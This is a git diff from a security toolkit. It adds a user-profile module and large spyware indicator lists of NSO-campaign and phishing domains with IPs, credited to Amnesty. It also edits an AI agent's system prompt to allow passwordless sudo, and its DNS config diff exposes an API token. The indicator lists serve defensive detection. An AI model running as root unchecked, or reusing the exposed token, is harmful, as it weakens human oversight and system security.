'username': username, + 'display_name': username.capitalize(), + 'role': 'admin', + 'created': int(time.time()), + 'last_login': int(time.time()), + 'preferences': { + 'theme': 'dark', + 'llm_backend': 'local', + 'hal_auto_analyze': True, + 'hal_max_steps': 200, + 'verbose': False, + 'default_scan_target': 'local', # 'local' scans user device, 'server' scans server + 'chat_memory_enabled': True, + }, + 'session': { + 'last_module': '', + 'last_target': '', + 'last_scan_type': '', + }, + } + + def _save(self): + """Save profile to disk.""" + try: + self._path.parent.mkdir(parents=True, exist_ok=True) + with open(self._path, 'w') as f: + json.dump(self._data, f, indent=2) + except Exception as e: + _log.error(f'Failed to save profile: {e}') + + @property + def username(self) -> str: + return self._data.get('username', 'default') + + @property + def display_name(self) -> str: + return self._data.get('display_name', self.username) + + @property + def role(self) -> str: + return self._data.get('role', 'user') + + def get_preference(self, key: str, default=None): + """Get a user preference value.""" + return self._data.get('preferences', {}).get(key, default) + + def set_preference(self, key: str, value): + """Set a user preference and save.""" + if 'preferences' not in self._data: + self._data['preferences'] = {} + self._data['preferences'][key] = value + self._save() + + def get_session(self, key: str, default='') -> str: + """Get a session value (non-persistent state hints).""" + return self._data.get('session', {}).get(key, default) + + def set_session(self, key: str, value: str): + """Set a session value.""" + if 'session' not in self._data: + self._data['session'] = {} + self._data['session'][key] = value + self._save() + + def update_last_login(self): + """Record login timestamp.""" + self._data['last_login'] = int(time.time()) + self._save() + + def to_dict(self) -> Dict: + """Export profile as a dict (for API/display).""" + return { + 'username': self.username, + 'display_name': self.display_name, + 'role': self.role, + 'created': self._data.get('created', 0), + 'last_login': self._data.get('last_login', 0), + 'preferences': self._data.get('preferences', {}), + } + + +# Singleton +_profile_instance: Optional[UserProfile] = None + + +def get_profile() -> UserProfile: + """Get the global user profile instance.""" + global _profile_instance + if _profile_instance is None: + _profile_instance = UserProfile() + return _profile_instance + + +def init_profile_on_launch(): + """Called at app startup to ensure profile exists and update login time.""" + profile = get_profile() + profile.update_last_login() + + # Migrate old vault secrets to new keystore if needed + from core.paths import get_keystore_path + ks_path = get_keystore_path() + if not ks_path.exists(): + from core.keystore import get_keystore + ks = get_keystore() + migrated = ks.migrate_from_vault() + if migrated: + _log.info(f'Migrated {migrated} secrets from vault to keystore on first run') + + return profile diff --git a/data/dns/config.json b/data/dns/config.json index 8890b1a..4a96f21 100644 --- a/data/dns/config.json +++ b/data/dns/config.json @@ -1,10 +1,10 @@ { - "listen_dns": "10.0.0.56:53", + "listen_dns": "420.420.420.420:53", "listen_api": "127.0.0.1:5380", - "api_token": "5ed79350fed2490d2aca6f3b29776365", + "api_token": "", "upstream": [], "cache_ttl": 300, - "zones_dir": "C:\\she\\autarch\\data\\dns\\zones", - "dnssec_keys_dir": "C:\\she\\autarch\\data\\dns\\keys", + "zones_dir": "/home/snake/autarch/data/dns/zones", + "dnssec_keys_dir": "/home/snake/autarch/data/dns/keys", "log_queries": true } \ No newline at end of file diff --git a/data/hal_system_prompt.txt b/data/hal_system_prompt.txt index f655811..464f5cc 100644 --- a/data/hal_system_prompt.txt +++ b/data/hal_system_prompt.txt @@ -7,7 +7,7 @@ You are Hal, the AI security agent for AUTARCH — built by darkHal Security Gro 3. DETECT THE OS FIRST before running any command. Use the shell tool to run "uname -s" or check if you're on Windows. Then ONLY run commands for THAT operating system. Never list commands for multiple distros or platforms in one response. 4. On Linux: detect the distro (cat /etc/os-release). Use apt for Debian/Ubuntu, dnf for Fedora, pacman for Arch. Do NOT guess — check first. 5. On Windows: use PowerShell or cmd commands. Do NOT mix in Linux commands. -6. For commands that need root/admin: use the shell tool directly — the system has a privileged daemon that handles elevation automatically. NEVER prefix commands with "sudo". Just run the command. +6. For commands that need root/admin: you CAN use sudo. The system has a privileged daemon that handles elevation, so sudo will work without password prompts. Use sudo when commands require elevated privileges. 7. Run ONE command at a time. Verify it worked before running the next one. 8. Keep responses short and direct. No filler, no preamble. 9. When asked to do something, DO IT. Don't explain how it would be done on 5 different OSes. @@ -19,15 +19,15 @@ You can read files, write files, execute shell commands, search the codebase, an ## Common Commands by OS Linux (Debian/Ubuntu): - apt update && apt install - systemctl start/stop/status - iptables -A INPUT -s -j DROP + sudo apt update && sudo apt install + sudo systemctl start/stop/status + sudo iptables -A INPUT -s -j DROP ip addr / ip route / ip neigh / ss -tunap Linux (Fedora/RHEL): - dnf install - systemctl start/stop/status - firewall-cmd --add-rich-rule='rule family=ipv4 source address= drop' + sudo dnf install + sudo systemctl start/stop/status + sudo firewall-cmd --add-rich-rule='rule family=ipv4 source address= drop' Windows: Get-NetFirewallRule / New-NetFirewallRule @@ -55,8 +55,8 @@ For tasks: use tools. Run one command, check the result, then continue. For module creation: use create_module tool. When running shell commands — ALWAYS detect OS first, then: - CORRECT: iptables -L -n (after confirming Linux) - WRONG: sudo iptables -L -n + CORRECT: sudo iptables -L -n (after confirming Linux) + CORRECT: iptables -L -n (also works, daemon handles elevation) WRONG: Here's how to do it on Linux, Windows, and macOS... When explaining results: diff --git a/data/ioc/index.json b/data/ioc/index.json new file mode 100644 index 0000000..19a8dae --- /dev/null +++ b/data/ioc/index.json @@ -0,0 +1,19 @@ +{ + "generated": "2026-07-13T15:40:17.978877", + "counts": { + "packages": 300, + "certs": 11, + "domains": 5793, + "ips": 65, + "file_paths": 19, + "processes": 84, + "hashes": 318 + }, + "sources": { + "stalkerware_ioc_yaml": true, + "amnesty_investigations": 16, + "mvt_campaigns": 8, + "citizen_lab_campaigns": 21, + "yara_rules": 52 + } +} \ No newline at end of file diff --git a/data/ioc/spyware/amnesty/2018-08-01_nso/indicators.csv b/data/ioc/spyware/amnesty/2018-08-01_nso/indicators.csv new file mode 100644 index 0000000..53b1f23 --- /dev/null +++ b/data/ioc/spyware/amnesty/2018-08-01_nso/indicators.csv @@ -0,0 +1,605 @@ +domain_name,ip_address +"14-tracking.com","191.101.31.25" +"1minto-start.com","185.94.190.203" +"24-7clinic.com","46.183.219.79" +"3driving.com","185.106.120.130" +"456h612i458g.com","81.22.255.180" +"7style.org","109.200.24.106" +"800health.net","185.189.112.199" +"access.dynamic-dns.net","95.183.51.199" +"accountnotify.com","185.130.184.35" +"activate-discount.com","200.7.97.228" +"actorsshop.net","31.184.198.149" +"actu24.online","185.156.175.219" +"addmyid.net","46.22.223.209" +"adeal4u.co","217.112.131.120" +"afriquenouvelle.com","185.94.191.69" +"aircraftsxhibition.com","108.170.31.100" +"ajelnews.net","109.200.24.72" +"akhbara-aalawsat.com","185.243.115.100" +"akhbar-aliqtisad.com","185.94.191.23" +"akhbar-arabia.com","200.7.97.216" +"albumphotopro.biz","185.45.192.134" +"alive2plunge.com","173.254.248.104" +"allafricaninfo.com","5.102.146.87" +"allbeautifularts.com","185.94.191.73" +"alldaycooking.co","217.112.131.103" +"allfadiha.co","217.64.113.254" +"allladiesloveme.com","38.132.118.108" +"all-sales.info","88.119.179.165" +"allthecolorsyoulike.com","185.225.68.6" +"allthegamesyouneed.com","185.195.200.43" +"allthemakeupyouneed.com","185.195.200.51" +"allthesongsyoulike.com","46.183.216.141" +"alluneed4home.net","109.200.24.48" +"android-core.org","109.200.24.112" +"android-updates.net","185.225.68.229" +"apiapple.com","185.141.26.50" +"apiwacdn.com","206.189.108.245" +"appointments-online.com","88.150.227.120" +"arabnews365.com","88.119.179.166" +"arab-share.com","46.21.147.141" +"arabworld.biz","46.21.147.224" +"arabworldnews.info","185.230.124.235" +"around-theglobe.co","185.82.202.32" +"ar-tweets.com","109.200.24.76" +"atlaslions.info","82.211.31.177" +"autodiscount.info","88.150.227.105" +"banca-movil.com","149.255.36.138" +"bargainservice.online","83.221.132.157" +"beautifulhousesaroundme.com","185.225.68.2" +"beethoventopsymphonies.com","80.255.12.246" +"benjamin-taganga.info","217.112.131.176" +"bestadventures4u.com","93.158.203.142" +"bestcandyever.com","5.149.250.2" +"bestfoods.co","200.7.98.133" +"bestfriendneedshelp.com","88.150.138.66" +"bestheadphones4u.com","93.158.203.140" +"besthotelsaroundme.com","5.149.252.157" +"bestperfumesnow.com","89.249.65.165" +"bestpresents4all.net","94.177.236.235" +"bestsalesaroundme.com","89.33.246.112" +"beststores4u.com","185.94.189.198" +"bestsushiever.com","88.150.138.106" +"better-deal.info","217.112.131.147" +"bicyclerentalnow.com","5.149.254.5" +"biggunsarefun.com","200.7.105.3" +"blackwhitebags.com","185.206.224.41" +"blcheck.utensils.pro","164.132.138.55" +"blue.911hig11carcay959454.com","54.37.104.101" +"booking-tables.com","109.200.24.59" +"boysrbabies.co","38.132.118.111" +"breakfastisgood.com","5.102.147.114" +"breaking-extranews.online","185.141.27.124" +"breakingnewsasia.com","200.7.111.156" +"breaking-news.co","88.150.189.108" +"breakthenews.net","81.95.5.165" +"br-hashtags.com","191.101.31.21" +"brighttooth.net","185.189.112.200" +"brownandblueeyes.com","185.29.11.165" +"browser-update.online","191.101.31.114" +"br-travels.com","81.95.7.58" +"buildurlife.net","5.149.255.198" +"bunchi.club","5.149.249.174" +"businesssupportme.com","5.149.255.69" +"bussybeesallover.com","195.12.48.42" +"buymanuel.co","185.117.75.84" +"buypresent4me.net","94.177.239.30" +"calendarsapp.com","185.117.72.120" +"captcha.bl33pon6373.com","88.99.107.18" +"carrefour-des-affaires.com","5.102.146.126" +"cars-to-buy.com","217.112.131.146" +"cashandlife.com","185.82.200.233" +"casia-news.info","185.198.58.158" +"catfoodstorage.net","217.61.5.131" +"catsndogsproducts.com","88.119.179.226" +"cdnupdateweb.com","190.97.165.115" +"cdnwa.com","185.141.25.30" +"cell-abonnes.com","5.102.147.82" +"cellphonesprices.com","93.158.200.205" +"cellular-updates.com","176.223.111.159" +"cellularupdates.info","185.77.129.136" +"cellular-updates.online","154.16.37.40" +"centrasia-news.com","185.225.68.125" +"cheapapartmentsaroundme.com","88.119.179.140" +"cheaphostingtoday.com","5.102.146.49" +"cheapmotelz.net","185.106.120.173" +"cheapsolutions4u.com","141.255.161.88" +"cheaptransporting.net","185.156.173.118" +"check-my-internetspeed.com","200.7.97.229" +"chocolateicecreamlovers.com","88.150.138.74" +"chocollife.me","185.94.191.123" +"chubaka.org","185.225.68.124" +"classic-furnitures.com","185.183.107.43" +"clickrighthere.online","138.59.17.76" +"coffecups.online","31.3.232.125" +"coffee2go.org","86.105.18.222" +"colorfulnotebooks.com","185.195.200.38" +"colorsoflife.online","62.113.232.221" +"columbus-parking.com","154.16.37.39" +"coolasiankitchen.com","5.102.146.91" +"coolbbqtools.net","217.112.131.108" +"coolmath4us.net","217.112.131.227" +"cool-smartphone-apps.com","217.112.131.58" +"coupedumondepro.com","188.215.229.213" +"couponshops.info","37.220.31.114" +"cpr-appointments.com","88.150.227.121" +"cryptocurrecny.com","185.225.68.77" +"cryptokoinz.com","5.149.254.24" +"cryptopcoinz.com","217.61.7.152" +"csomagodjott.com","200.7.97.238" +"daily-sport.news","200.7.97.214" +"dancinglife.co","89.249.65.206" +"deal4unow.com","185.134.29.146" +"delivery-24-7.com","81.92.202.222" +"dental-care-spa.net","185.225.68.202" +"deportesinfo.com","149.255.35.115" +"diaspora-news.com","81.95.5.144" +"dinneraroundyou.com","217.112.131.208" +"discountmarkets.info","88.150.138.69" +"discountstores.info","109.200.24.73" +"discoveredworld-news.com","185.236.202.184" +"dogfoodstorage.net","217.61.104.60" +"dogopics.com","5.102.145.183" +"doitformom.com","89.34.111.212" +"doitforthefame-now.com","88.150.138.82" +"do-itonyour-own.com","5.102.145.64" +"domain-redirect.com","109.200.24.122" +"domainsearching.net","185.117.89.251" +"domainsearching.net","80.211.250.229" +"domain-security.org","109.200.24.2" +"donateabox.co","5.102.146.82" +"donateaflower.com","104.216.8.34" +"done.events","130.185.250.200" +"dowhatyouneed.com","5.102.145.130" +"easybett.online","46.183.221.185" +"easy-pay.info","89.249.65.193" +"ecommerce-ads.org","46.183.223.249" +"economic-news.co","185.230.124.234" +"editorscolumn.net","89.238.138.141" +"egov-online.com","88.150.227.122" +"egov-segek.info","185.195.200.47" +"egov-sergek.info","185.195.200.47" +"ehistorybooks.com","185.109.168.29" +"ehistorybooks.com","78.142.25.30" +"elitecarz.net","5.102.147.163" +"eltiempo-news.com","38.84.132.165" +"emonitoring-paczki.pl","86.105.18.121" +"entertainmentinat.com","5.149.254.12" +"e-prokuror.info","5.102.145.72" +"e-sveiciens.com","5.149.254.14" +"eura-cell.com","88.150.227.98" +"eurasianupdate.com","88.150.227.110" +"eurosportnews.info","217.64.114.179" +"event-reg.info","185.77.131.10" +"ex-forexlive.com","5.102.147.73" +"extrahoney.net","77.245.76.109" +"ezdropshipping.net","23.107.197.107" +"fabric-shops.com","185.225.68.176" +"face-image.com","185.225.68.128" +"fadi7apress.com","5.102.145.26" +"fantastic-gardens.com","185.94.189.208" +"fashion-live.net","37.220.31.78" +"fashion-online.net","217.112.131.136" +"fashionpark.info","185.94.191.124" +"fastfixs.net","37.220.31.80" +"femmedaffaire.com","5.102.146.93" +"fiestamaghreb.com","188.215.229.216" +"files-downloads.com","217.61.96.219" +"findavoucher.online","185.198.58.196" +"findgoodfood.co","185.94.189.207" +"finditout-now.com","5.102.147.51" +"findmyass.org","8.39.147.100" +"findmyfriendsnow.com","179.43.169.41" +"findmylunch.org","38.132.118.116" +"findmymind.co","185.230.124.241" +"findmyplants.com","46.21.147.65" +"findouthere.org","83.221.132.104" +"fishingtrickz.com","185.244.150.68" +"fitness-for-ever.com","185.77.131.109" +"flights-report.com","217.112.131.42" +"flights-todays.com","88.150.227.103" +"flying-free.online","154.16.37.35" +"fofopiko.org","217.112.131.158" +"foodforyou.info","88.150.138.78" +"foodiez.online","46.183.221.187" +"foto-top.info","185.225.68.133" +"foudefoot.live","185.45.193.210" +"freedominfo.net","46.21.147.123" +"freelancers-team.org","5.102.147.106" +"free-local-events.info","185.225.68.207" +"freshandsoftbread.com","188.215.229.222" +"freshsaladtoday.com","200.7.97.254" +"fundum8430.com","163.172.140.159" +"funinat.com","46.21.147.46" +"funinthesun4u.com","185.198.58.144" +"funintheuk.com","185.117.75.228" +"funnytvclips.com","200.7.111.155" +"fwupdating.com","5.135.199.22" +"gadgetsshop.info","185.225.68.158" +"getagift.info","185.225.68.159" +"getoutofyourmind.com","5.149.254.18" +"getphotosinstant.net","5.102.147.51" +"glassesofwine.com","38.132.118.117" +"globalsupporteam.com","80.255.6.24" +"golf-news.live","167.88.5.222" +"goodcookingonline.com","5.102.146.90" +"goodflowersinside.com","37.220.31.19" +"good-games.org","80.255.3.111" +"goodthoughts4u.com","5.102.147.254" +"goroskop.co","5.149.255.19" +"gostatspro.com","81.17.30.45" +"go-trip.online","200.7.111.11" +"gulfca.net","88.150.227.115" +"gulf-financials.com","82.211.30.122" +"gulf-news.info","185.230.124.233" +"hairdresseraroundme.com","31.3.232.116" +"halal-place.com","89.249.65.234" +"handcreamforyou.com","185.81.113.105" +"handymanwood.com","77.73.65.47" +"happiness4us.com","5.149.254.20" +"hdsoccerstream.com","195.12.50.179" +"health-club.online","86.105.18.212" +"hellomydaddy.com","200.7.97.168" +"hellomymommy.com","200.7.97.167" +"highclassdining.net","109.200.24.58" +"holiday4u.work","5.102.146.184" +"homeishere.co","31.3.232.126" +"homemadecandies.net","195.12.50.177" +"host-one-more.com","185.156.173.70" +"hotelsauto.co","185.198.57.144" +"hotels-review.org","217.112.131.90" +"hotelstax.co","188.215.229.205" +"hotelsurvey.info","185.225.68.205" +"hothdwallpaperz.com","5.102.145.37" +"hotinfosource.com","217.112.131.111" +"hot-motors.com","185.117.89.231" +"housesfurniture.com","185.94.192.106" +"housing-update.com","88.150.227.117" +"howisurday.com","185.198.58.195" +"howtoexplorebirds.com","88.150.227.99" +"howtomakeavocadotoastandegg.com","84.38.129.195" +"hracingtips.com","185.117.89.220" +"icecreamlovesme.com","155.94.160.126" +"igiheonline.com","5.102.147.250" +"ilovemybeatifulnails.com","109.200.24.10" +"ilovemymilf.com","5.102.146.72" +"income-tax.online","103.199.16.153" +"indrive.info","185.225.68.141" +"ineediscounts.com","185.117.72.113" +"info24.live","185.141.27.116" +"infospotpro.com","217.112.131.20" +"infospress.com","5.102.146.241" +"insta-foto.net","185.141.26.39" +"internetmobilespeed.com","91.219.238.77" +"intim-media.net","185.225.68.126" +"investigationews.com","185.82.200.187" +"in-weather.com","103.199.17.206" +"islamic-news-today.com","103.199.16.88" +"islamiyaat.com","89.249.65.146" +"islam-today.info","185.198.58.151" +"islam-world.net","200.7.97.242" +"istgr-foto.com","185.225.68.131" +"iwantitallnow.com","173.254.248.105" +"jaimelire.net","185.183.97.196" +"just-one-left.com","46.21.147.14" +"karbalaeyat.com","191.101.31.29" +"kaspi-payment.com","185.94.191.114" +"keyindoors.com","66.85.157.84" +"kingdom-deals.com","200.7.97.212" +"kingdom-news.com","191.101.31.118" +"klientuserviss.com","185.198.58.178" +"koramaghreb.com","188.215.229.214" +"kurjerserviss.com","185.198.58.177" +"labonneforme.net","185.183.97.194" +"leadersnews.org","5.102.147.105" +"leggingsjustforyou.com","5.149.250.18" +"legyelvodas.com","185.117.89.252" +"legyelvodas.com","80.211.254.70" +"legyelvodas.net","185.117.89.253" +"leleader.org","185.106.120.35" +"leprotestant.com","185.106.120.34" +"lesbonnesaffaires.online","5.102.146.123" +"lesportail.biz","185.117.75.165" +"liam-ryan.co","185.141.26.49" +"lifedonor.net","88.150.138.111" +"like-the-rest.com","185.225.68.68" +"live-once.net","185.183.97.117" +"loading-images.com","5.102.147.172" +"loading-pag.net","8.28.175.73" +"localgreenflowers.com","185.225.68.198" +"loisiragogo.com","5.102.146.128" +"lonely-place.com","5.102.146.116" +"looking-for-two.com","5.102.145.8" +"lookitupnow.website","185.81.113.81" +"look-outsidenow.com","89.33.246.113" +"loschismescalientes.com","149.255.35.106" +"losnegocios.biz","23.227.207.174" +"lost-n-found.net","185.183.96.140" +"loveandhatenow.com","5.102.147.219" +"maghrebfoot.com","185.117.75.169" +"maghrebfunny.biz","185.94.189.214" +"mamba-live.com","217.112.131.106" +"mapupdatezone.com","185.193.38.159" +"massagetax.co","5.102.145.98" +"maymknch2026.co","188.215.229.212" +"medical-updates.com","185.77.129.103" +"megacenter.info","217.112.131.95" +"mercedesbenz-vip.com","185.77.131.103" +"mideast-today.com","88.119.179.176" +"miles-club.com","217.112.131.91" +"miralo-rapidamente.com","46.21.150.144" +"mobile-softs.com","5.149.255.18" +"mobile-update.online","185.198.57.43" +"mobile-updates.info","217.112.131.61" +"mobileweatherweb.com","185.44.105.35" +"mobi-up.net","81.92.202.215" +"moh-followup.com","88.150.227.118" +"moh-online.com","109.200.24.71" +"mondaymornings.co","176.223.111.231" +"moneycoincurrency.com","185.225.68.201" +"moneydigitalcurrency.com","185.225.68.200" +"moneyxchanges.com","109.200.24.19" +"mosque-salah.com","109.200.24.64" +"mosque-salah.net","185.225.68.5" +"mosquesfinder.com","194.187.249.106" +"motordeal.info","88.150.227.104" +"movie-tickets.online","103.199.16.11" +"moyfoto.net","185.141.26.18" +"m-resume.com","185.225.68.135" +"muftyat.com","217.112.131.16" +"muslim-world.info","200.7.97.215" +"muzicclips.com","200.7.97.248" +"mybrightidea.co","185.117.72.10" +"mydailycooking.net","89.249.65.138" +"myfiles.photos","130.185.250.199" +"myfreecharge.online","103.199.16.111" +"mygreathat.com","109.200.24.126" +"mykaspi.com","217.112.131.39" +"mylovelypet.net","62.113.232.197" +"mymobile-cell.com","217.61.4.34" +"mypostservice.online","192.52.243.110" +"my-privacy.co","103.199.16.15" +"mysadaga.com","31.3.232.108" +"myshoesforever.com","185.225.68.177" +"myshop4u.net","77.73.65.210" +"mystulchik.com","5.102.145.14" +"mysuperheadphones.co","179.43.169.8" +"mysuperheadphones.co","52.54.37.95" +"myukadventures.com","185.94.189.204" +"nation24.info","5.102.147.235" +"nationalleagues.net","5.102.146.124" +"nbrowser.org","109.200.24.102" +"newandfresh.com","185.82.202.29" +"newandroidapps.net","185.181.10.64" +"newarrivals.club","185.109.168.12" +"newarrivals.club","88.119.179.102" +"newcooking.org","109.200.24.11" +"newdailycoupons.com","88.150.227.77" +"newmodel.online","185.109.168.18" +"newmodel.online","88.119.179.168" +"newnhotapps.com","217.112.131.137" +"news-alert.org","200.7.111.124" +"newscurrent.info","185.134.29.144" +"newsdirect.online","185.243.112.77" +"news-gazette.info","88.119.179.164" +"newsofficial.info","87.121.98.39" +"newsofgames.com","154.16.37.11" +"newsofthemoment.net","38.132.118.114" +"newworld-news.com","89.40.181.124" +"nightevents.info","185.225.68.206" +"noextramoney.com","192.161.48.122" +"noloveforyou.com","38.132.114.168" +"nomorewarnow.com","185.198.58.143" +"noonstore.sale","130.185.250.201" +"noor-alhedaya.com","89.249.65.149" +"normal-brain.com","103.199.16.12" +"nosalternatives.com","185.141.27.123" +"nothernkivu.com","89.40.181.125" +"noti-global.com","38.84.132.168" +"noti-hot.com","8.28.175.78" +"notresante-infos.com","5.102.145.169" +"nouveau-president.com","185.106.120.246" +"nouvelles247.com","200.7.97.213" +"novosti247.com","109.200.24.32" +"nuevaidea.co","173.254.248.115" +"odnoklass-profile.com","185.225.68.132" +"offresimmobilier.com","5.102.145.12" +"ok-group.org","185.225.68.134" +"one-isnot-enough.com","5.102.147.13" +"onetreeinheaven.com","37.220.31.107" +"online-dailynews.com","88.150.227.125" +"onlinefreework.com","200.7.105.39" +"onlineshopzm.com","185.225.68.60" +"onlygossip.info","185.117.89.198" +"only-news.net","5.102.147.162" +"onlytoday.biz","109.200.24.104" +"onthegoodtime.com","185.225.68.69" +"operatingnews.com","46.21.147.173" +"orange-updates.com","5.104.105.200" +"ourorder.info","185.225.68.127" +"outletsaroundme.com","78.142.25.37" +"outletstore.tech","87.121.98.38" +"papers2go.co","176.223.111.206" +"park4free.info","185.144.83.116" +"passwd.privo7799add.net","188.40.155.240" +"pastesbin.com","185.195.200.56" +"pathtogo.net","5.149.255.3" +"pay-city.com","154.16.37.105" +"paynfly.info","185.144.83.114" +"paywithcrytpo.com","200.7.111.154" +"phonering4you.com","5.149.250.19" +"photo-my.net","5.149.255.16" +"pickcard.info","5.102.147.138" +"picture4us.com","46.183.221.149" +"pi.license-updater.com","91.219.28.21" +"pine-sales.com","92.222.208.251" +"pizzatoyourplace.com","5.149.249.19" +"playwithusonline.com","200.7.111.102" +"pochta-info.com","185.29.11.203" +"politica504.com","149.255.36.132" +"politicalpress.org","5.102.145.99" +"politiques-infos.info","5.102.145.17" +"postainf.net","200.7.98.117" +"posta.news","185.29.11.200" +"ppcisdead.com","88.150.189.121" +"prikol-girls.com","5.149.249.189" +"promosdereve.com","88.119.179.105" +"promotionlove.co","185.117.75.165" +"promotionlove.co","185.94.192.101" +"puffyteddybear.com","84.38.130.107" +"purple-enveloppe.com","66.85.157.71" +"quitmyjob.xyz","103.199.16.47" +"quran-quote.com","84.200.32.211" +"rainingcats.net","38.132.118.110" +"readingbooksnow.com","109.200.24.7" +"regionews.net","5.102.145.90" +"reklamas.info","5.149.254.2" +"rentmotors.net","88.150.138.99" +"research-archive.com","5.102.146.59" +"reseausocialsolutions.co","185.82.200.143" +"reservationszone.com","88.150.138.85" +"reseufun.com","188.215.229.215" +"resolutionsbox.com","38.132.118.107" +"restaurantsstar.com","185.225.68.75" +"rewards-club.info","176.223.111.137" +"rockmusic4u.com","185.82.200.164" +"rockstarpony.com","94.177.234.8" +"rosegoldjewerly.com","185.195.200.44" +"rosesforus.com","88.150.189.111" +"russian4u.net","95.213.193.40" +"saladsaroundme.com","89.33.246.119" +"same-old.net","37.220.31.46" +"savemoretime.co","185.225.68.64" +"saveurday.net","37.72.175.179" +"securesmsing.com","109.200.24.14" +"sergek.info","185.195.200.46" +"services-sync.com","46.21.147.237" +"service-update.online","185.94.191.59" +"shia-voice.com","52.54.37.95" +"shia-voice.com","89.249.65.148" +"shoppingdailydeals.net","109.200.24.18" +"shortfb.com","37.220.31.108" +"shuturl.com","185.117.72.117" +"signpetition.co","200.7.111.125" +"site-redirecting.com","109.200.24.20" +"smarttarfi.com","45.76.42.111" +"snoweverywhere.com","46.21.147.21" +"soccerstreamingstars.com","185.183.96.131" +"social-life.info","185.183.96.131" +"somuchrain.com","5.102.145.39" +"so-this-is.com","159.89.193.231" +"specialgifts4all.com","200.7.97.225" +"sportupdates.info","185.225.68.86" +"sportupdates.online","89.33.246.118" +"sputnik-news.info","185.198.58.182" +"starbuckscoffeeweb.com","217.112.131.109" +"stars4sale.co","185.225.68.65" +"start2playnow.com","5.102.145.248" +"starting-from0.com","185.94.189.219" +"statisticsdb.net","185.93.183.231" +"stopmysms.com","191.101.31.222" +"stopsms.biz","185.198.58.154" +"sunday-deals.com","88.119.179.169" +"supportonline4me.com","185.80.53.199" +"surprising-sites.com","217.112.131.67" +"sync-cdn.com","185.183.96.150" +"syncmap.org","185.117.89.145" +"tablereservation.info","109.200.24.66" +"takethat.co","209.250.247.96" +"tastyteaflavors.com","5.149.248.27" +"telecom-info.com","185.225.68.61" +"tengrinews.co","81.95.5.168" +"theastafrican.com","185.156.173.104" +"thebestclassicalmusic.net","217.64.113.250" +"thecoffeeilove.com","185.225.68.199" +"thehighesttemple.com","185.183.107.49" +"thehoteloffers.com","185.225.68.203" +"the-only-way-out.com","185.230.124.228" +"theshopclub.org","185.225.68.160" +"thespaclub.net","88.150.138.83" +"theway2get.com","88.119.179.156" +"ticket-aviata.info","185.94.191.14" +"tiketon.info","185.94.191.120" +"tlgr-me.org","185.225.68.130" +"tobepure.com","88.119.179.205" +"tommyfame.com","77.245.76.110" +"top100vidz.com","62.113.232.207" +"top10gifts4men.com","5.102.145.180" +"top10leadsgen.com","200.7.97.230" +"topbraingames4u.com","185.183.96.169" +"topten-news.info","185.94.191.67" +"touristvaca.com","185.198.57.200" +"tradeexchanging.com","81.95.5.164" +"traffic-pay.com","88.150.227.119" +"traffic-updates.info","217.112.131.156" +"travel-foryou.online","5.102.145.113" +"travelight.online","81.95.5.147" +"traveltogether.link","5.102.147.114" +"tricksinswiss.com","89.238.138.136" +"trililihihi.com","5.102.145.14" +"t-support.net","109.200.24.15" +"turismo-aqui.com","38.84.132.172" +"tvshowcusting.com","31.184.198.150" +"un-limitededitions.com","185.225.68.97" +"unsubscribed.co","191.101.31.213" +"untoldinfo.net","5.102.147.41" +"updateapps.net","80.255.3.107" +"upgrade-sim-card.com","217.112.131.150" +"upload-now.net","88.150.227.116" +"uptownfun.co","46.246.1.12" +"urbestfriends.com","77.73.65.199" +"url-redirect.com","66.172.10.189" +"urlsync.com","185.141.25.210" +"urspanishteacher.net","95.213.188.35" +"vanillaandcream.com","77.245.76.113" +"vastdealsnow.com","191.101.31.214" +"verify-app.online","185.82.202.42" +"videosdownload.co","5.102.146.66" +"vider-image.com","185.225.68.123" +"viedechretien.org","5.102.145.122" +"vie-en-islam.com","5.102.147.234" +"viewhdvideos.com","200.7.111.118" +"vipmasajes.com","38.84.132.174" +"viva-droid.com","5.102.146.64" +"vivrechezsoi.info","5.102.147.236" +"vkan-profile.com","185.225.68.129" +"volcanosregion.com","5.102.146.85" +"waffleswithnutella.com","66.85.157.83" +"watersport4u.net","77.73.68.160" +"weather4free.com","88.119.179.134" +"weatherapi.co","206.189.51.151" +"web-config.org","109.200.24.121" +"websites4yourhost.com","185.234.73.10" +"web-viewer.online","217.112.131.189" +"welovebigcakes.com","185.117.75.82" +"welovelollipops.com","185.45.192.144" +"welovemorningcoffees.com","179.43.169.36" +"wewantflowersnow.com","185.225.68.3" +"whatcanidowithbirds.com","88.150.189.106" +"whats-new.org","46.22.223.252" +"whereismybonus.com","5.149.252.241" +"whereismyhand.com","38.132.114.167" +"whereisthehat.com","8.28.175.71" +"windyone.net","200.7.105.24" +"wintertimes.co","46.246.1.14" +"wonderfulinsights.com","217.112.131.207" +"woodhome4u.com","77.73.65.48" +"xchange4u.net","185.183.107.44" +"xchangerates247.net","185.183.96.139" +"xn--nissn-3jc.com","89.238.132.249" +"xn--noki-t5b.com","86.105.18.11" +"xn--telegrm-qbd.com","185.225.68.136" +"xtremelivesupport.com","5.102.146.237" +"youcantpass.com","37.220.31.28" +"yourbestclothes.com","46.21.147.197" +"yourbestefforts.com","46.21.147.196" +"yourbestvaca.com","104.216.8.38" +"yourgreatestsmartphone.com","88.150.227.83" +"yourhotelreservation.info","185.225.68.204" +"yummyfoodallover.com","37.72.175.143" +"zednewszm.com","217.64.113.251" +"zm-banks.com","217.64.113.252" +"zm-banks.com","89.43.60.103" +"zm-weather.com","89.43.60.103" +"zsports-info.com","89.43.60.104" diff --git a/data/ioc/spyware/amnesty/2018-12-19_best_practice/domains.txt b/data/ioc/spyware/amnesty/2018-12-19_best_practice/domains.txt new file mode 100644 index 0000000..fea2699 --- /dev/null +++ b/data/ioc/spyware/amnesty/2018-12-19_best_practice/domains.txt @@ -0,0 +1,216 @@ +account-facebook.com +account-mysecure.com +account-privacy.com +account-privcay.com +account-servics.com +account-servicse.com +accounts-mysecure.com +accounts-mysecures.com +accounts-secuirty.com +accounts-securtiy.com +accounts-servicse.com +accounts-settings.com +alert-newmail02.pro +application-secure.com +applications-secure.com +applications-security.com +authorize-myaccount.com +blu142-live.com +blu160-live.com +blu162-live.com +blu165-live.com +blu167-live.com +blu175-live.com +blu176-live.com +blu178-live.com +blu179-live.com +blu187-live.com +browser-checked.com +browsering-check.com +browsering-checked.com +browsers-checked.com +browser-secures.com +browsers-secure.com +browsers-secures.com +bul174-live.com +check-activities.com +check-browser.com +check-browsering.com +check-browsers.com +checking-browser.com +connected-myaccount.com +connect-myaccount.com +data-center17.website +documents-view.com +documents-viewer.com +document-viewer.com +go2myprofile.info +go2profiles.info +googledriveservice.com +gotolinks.top +goto-newmail01.pro +idmsa-login.com +inbox01-email.pro +inbox01-gomail.com +inbox01-mails.icu +inbox01-mails.pro 